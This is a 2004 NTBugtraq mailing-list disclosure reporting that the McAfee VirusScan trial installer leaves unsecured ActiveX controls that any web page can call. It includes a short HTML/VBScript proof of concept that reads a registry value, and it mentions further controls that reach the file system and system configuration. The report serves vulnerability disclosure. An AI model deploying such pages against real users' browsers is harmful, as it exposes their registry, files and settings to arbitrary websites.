McAfee VirusScan installer uses insecure ActiveX controls

From: Jonathan Payne (jpayne_at_DSL.PIPEX.COM)
Date: 04/25/04

  • Next message: BROWN Nick: "MS04-012 breaks AT command when managing NT 4.0 scheduler from XP PC" 
    Date:         Sun, 25 Apr 2004 08:17:25 +0100
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

    After installing the McAfree VirusScan, it appears that it is possible for
    any web page to access the Windows regisry with the following HTML:

    <html>
     <object classid="clsid:4C29D864-C55A-46DD-865C-17A1B7CC1A1A" id="gobjReg"
    style="display: none;">
     </object>
     <h1>McAfee installer test</h1>
     <script language="vbscript">
      document.write( _
       gobjReg.RegQueryValue( "HKCU\Control Panel\Desktop", "Wallpaper") _
      )
     </script>
    </html>

    (when viewed in IE 6 with default secutiry and with VirusScan installed,
    this HTML displays the location of the current Windows desktop bitmap)

    You can see this behaviour by selecting the 15-Day Free trial of McAfee
    Virus scan from this page:
       http://download.mcafee.com/us/eval/evaluate2.asp?cid=9445
    Then going through the account creation process and then clicking on the
    download link.

    The download page (the one with the "Start" button) appears to install a
    number of ActiveX controls which are not secured in any way. As well as the
    registry one, there are controls for acessing the file system and for
    configuring the operating system.

    I have uploaded a full copy if the IDL for the installer objects here:
       http://www.aslg21.dsl.pipex.com/test/McAfeeIDL.txt
    There appear to be lots more fun interfaces that I haven't tested yet.

    Jonathan Payne

    -----
    Earn up to 10 credit course hours toward the TruSecure ICSA Practitioner (TICSA) Credential and receive a TICSA exam coupon by attending the Infosecurity Canada 2004 conference. Featured speaker, Marcus J. Ranum, TruSecure inventor of the proxy firewall will present on June 3 at 11:30 AM. Visit <https://ticsa.trusecure.com> for certification details and <http://www.infosecuritycanada.com> for conference information. Become TICSA certified and see what happens!
    -----

  • Next message: BROWN Nick: "MS04-012 breaks AT command when managing NT 4.0 scheduler from XP PC"